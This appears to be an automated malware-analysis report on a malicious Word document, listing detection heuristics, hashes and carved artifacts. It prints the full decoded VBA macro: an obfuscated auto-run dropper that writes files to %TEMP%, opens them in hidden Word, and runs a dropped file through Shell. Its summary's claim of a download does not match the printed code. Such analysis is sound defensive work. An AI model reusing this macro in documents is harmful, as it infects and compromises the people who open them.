Malware Insights
The sample contains multiple VBA auto-execution macros (AutoOpen, Workbook_Open, Auto_Open) that call a function to execute code. This function uses CreateObject to open a document from a path constructed using environment variables and concatenates strings to form a path that appears to be a registry key for persistence: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The macro also attempts to download and execute a second-stage payload, evidenced by the embedded PE executable and the ClamAV detection signature 'Doc.Macro.ObfuscatedChr-6203136-0'.
Heuristics 14
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OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
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ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
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Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
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VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2016 bytes |
SHA-256: 40b9c94055ffd3a17f2aa849be213b94b04ee60cc0b498077e8f713179c3af82 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Kjje()
Fwwe
End Sub
Sub Fwwe()
Dim bbvew As Boolean, KDEW As String, krk As Integer
krk = -15 + 14
JOOKKO = "T" & "EM"
JOOKKO = JOOKKO & "P"
bbvew = False
On Error Resume Next
Dim WOIEW As String
KKLOR = BjnsSwq(3 + 90 + krk)
NNJDJ = Environ$(JOOKKO) + KKLOR
DDVD = "" & "." & ""
JIEKR = DDVD & "gi"
JIEKR = JIEKR & "f"
LLKEN = DDVD & "rt" & BjnsSwq(99 + 3)
FFFNNNF = NNJDJ + "hfbef" + LLKEN
SSHHDD = NNJDJ & "fjeq" + LLKEN
WOIEW = NNJDJ & "" & "q6" & JIEKR
Module1.HNbfw (FFFNNNF)
Module1.HNbfw (SSHHDD)
Module1.Nnfhhe
RLKDWD = NNJDJ & "hfbef" & ".r" & "t" & "f"
BHJASD = Chr(110)
WDJASD = ";1kl2;jl31k2l"
Set fhBvdwgd = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
fhBvdwgd.Visible = bbvew
fhBvdwgd.Documents.Open (RLKDWD)
Module1.Lokew (2)
HYUASGD = Module1.Pjndw(WOIEW)
Module1.Lokew (3)
fhBvdwgd.Quit
Set fhBvdwgd = Nothing
End Sub
Public Function BjnsSwq(wbrw As Integer)
BjnsSwq = Chr(wbrw)
End Function
Public Function Rtrddd()
Rtrddd = "T" & "EM"
End Function
Sub Workbook_Open()
Fwwe
End Sub
Sub AutoOpen()
VNJASDW = "12lje1kn1 jh1jhke"
Kjje
End Sub
Sub Auto_Open()
Fwwe
End Sub
Attribute VB_Name = "Module1"
Sub Lokew(Kojr As Long)
poew = 66
Dim Ujrhw As Long
Dim Neew As Long
Neew = Kojr + Timer
Ujrhw = Neew
Do While Timer < Ujrhw
DoEvents
Loop
End Sub
Public Function Pjndw(nen As String)
Dim fuq As Variant
fuq = Shell(nen, 0)
End Function
Sub Nnfhhe()
Lokew (2)
End Sub
Public Function HNbfw(srh As String)
ActiveDocument.SaveAs FileName:=srh, FileFormat:=wdFormatRTF
End Function
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embedded_office_0000644c.exe |
embedded-pe | Office MZ+PE at offset 0x644C | 244495 bytes |
SHA-256: 76be6afbb94880bad87b1acdea82cbebe5870b59429951bf2890c31be2c46246 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms. Carved artifact entropy is 7.53, consistent with packed or encrypted content.
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ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1522082116/Ole10Native | 221382 bytes |
SHA-256: 8048ef3199fca730a1a61dee248042db7f8e9c912377836cb284e72b3dd47c2d |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.68, consistent with packed or encrypted content.
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